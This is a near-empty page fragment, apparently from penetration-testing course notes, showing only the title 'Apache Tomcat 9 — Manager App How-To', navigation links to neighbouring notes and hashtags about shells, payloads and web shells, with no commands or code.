  9. Apache Tomcat 9 — Manager App How-To

← Previous: Windows PrivEsc · Workflow dashboard · Next: TTY Upgrades →

#HTB #Academy #ShellsAndPayloads #CPTS #WebShell #FileUpload #WebSecurity